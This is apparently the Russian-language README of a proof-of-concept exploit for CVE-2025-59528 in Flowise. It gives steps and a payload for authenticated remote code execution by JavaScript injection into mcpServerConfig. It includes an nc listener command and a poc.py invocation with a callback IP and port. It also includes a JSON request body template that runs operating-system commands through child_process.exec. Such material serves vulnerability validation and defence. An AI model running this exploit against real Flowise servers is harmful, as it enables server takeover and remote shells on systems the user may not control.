
Доказательство концепции для CVE-2025-59528, демонстрирующее аутентифицированное удалённое выполнение кода в Flowise через инъекцию mcpServerConfig, с воспроизводимыми шагами для авторизованного тестирования.
Минимальный PoC, ориентированный на техническую валидацию уязвимости в авторизованной среде.
nc -lvn 4444).Сначала запустите слушатель:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
Замените значения на параметры вашей авторизованной среды.
3.0.5Remote Code Execution (RCE)POST /api/v1/node-load-method/customMCPПроблема связана с тем, как обрабатывается inputs.mcpServerConfig: это значение интерпретируется таким образом, что допускает выполнение JavaScript на стороне сервера. На практике аутентифицированный злоумышленник может внедрить выражение, которое вызывает child_process и выполняет команду ОС.
Порядок эксплуатации следующий:
customMCP.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).Если запрос принят, сервер выполняет команду в контексте своей системы.
poc.py)Скрипт принимает четыре аргумента:
-d/--domain: целевой домен-lh/--host: callback-IP-lp/--port: callback-порт-A/--api: Bearer API-токенЗатем он:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
По сравнению с PoC из EDB (который выполняет вход по email/password, использует браузерные заголовки и запускает произвольную команду через --cmd), этот скрипт лучше подходит для чистой валидации PoC:
mcpServerConfig и выполнение на стороне сервера.Короче говоря: скрипт из EDB — это более общая атакующая демонстрация, тогда как этот PoC более точечно нацелен на техническую воспроизводимость.
https или обработки сертификатов.--cmd).Тестируйте только на системах, которыми вы владеете или на которые у вас есть явное разрешение.